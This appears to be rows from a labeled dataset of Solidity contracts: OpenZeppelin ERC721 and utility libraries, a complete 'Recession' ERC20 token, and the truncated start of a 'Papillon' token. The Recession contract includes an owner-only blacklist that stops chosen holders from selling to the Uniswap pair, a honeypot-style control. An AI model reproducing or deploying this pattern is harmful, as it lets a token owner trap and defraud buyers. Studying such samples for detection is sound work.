bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Counters.sol)
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
} | True | [
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|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
contract Recession is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Recession";
string private constant _symbol = "RCSN";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant totalTokens = 100 * 1e9 * 1e9;
uint256 public _maxWalletAmount = 3 * 1e9 * 1e9;
uint256 private _previousLiqFee = liqFee;
uint256 private _previousProjectFee = projectTax;
uint256 private liqFee;
uint256 private projectTax;
struct FeeBreakdown {
uint256 tLiquidity;
uint256 tMarketing;
uint256 tAmount;
}
mapping(address => bool) private bots;
address payable private deployWallet = payable(0x79c938E8aCd757dbC83E332386E1a6C22347a5D4);
IUniswapV2Router02 private uniswapV2Router;
address public uniswapV2Pair;
bool private inSwap = false;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), totalTokens);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
_balances[_msgSender()] = totalTokens;
emit Transfer(address(0), _msgSender(), totalTokens);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() external pure override returns (uint256) {
return totalTokens;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) external view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function removeAllFee() private {
if (projectTax == 0 && liqFee == 0) return;
_previousProjectFee = projectTax;
_previousLiqFee = liqFee;
projectTax = 0;
liqFee = 0;
}
function restoreAllFee() private {
liqFee = _previousLiqFee;
projectTax = _previousProjectFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool takeFee = !inSwap;
if (from != owner() && to != owner() && from != address(this) && to != address(this)) {
if (from == uniswapV2Pair && to != address(uniswapV2Router)) {
require(balanceOf(to).add(amount) <= _maxWalletAmount, "wallet balance after transfer must be less than max wallet amount");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
require(!bots[from] && !bots[to]);
}
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee();
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
deployWallet,
block.timestamp
);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
uint256 autoLPamount = liqFee.mul(contractTokenBalance).div(projectTax.add(liqFee));
uint256 half = autoLPamount.div(2);
uint256 otherHalf = contractTokenBalance.sub(half);
uint256 initialBalance = address(this).balance;
swapTokensForEth(otherHalf);
uint256 newBalance = ((address(this).balance.sub(initialBalance)).mul(half)).div(otherHalf);
addLiquidity(half, newBalance);
}
function blacklist(address _address) external onlyOwner() {
bots[_address] = true;
}
function removeFromBlacklist(address _address) external onlyOwner() {
require(_msgSender() == deployWallet);
bots[_address] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) {
removeAllFee();
}
_transferStandard(sender, recipient, amount);
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 amount) private {
FeeBreakdown memory fees;
fees.tLiquidity = amount.mul(liqFee).div(100);
fees.tAmount = amount.sub(fees.tLiquidity);
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(fees.tAmount);
_balances[address(this)] = _balances[address(this)].add(fees.tLiquidity);
emit Transfer(sender, recipient, fees.tAmount);
}
receive() external payable {}
function setMaxWalletAmount(uint256 maxWalletAmount) external {
require(_msgSender() == deployWallet);
require(maxWalletAmount > totalTokens.div(200), "Amount must be greater than 0.5% of supply");
require(maxWalletAmount <= totalTokens, "Amount must be less than or equal to totalSupply");
_maxWalletAmount = maxWalletAmount;
}
} | True | [
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|
/**
.__.__ .__
___________ ______ |__| | | | ____ ____
\____ \__ \ \____ \| | | | | / _ \ / \
| |_> > __ \| |_> > | |_| |_( <_> ) | \
| __(____ / __/|__|____/____/\____/|___| /
|__| \/|__| \/
#Papillon Token ($PPL)
https://papillon.finance/
https://t.me/papillontoken
*/
// SPDX-License-Identifier: MIT
pragma solidity >=0.5.17;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
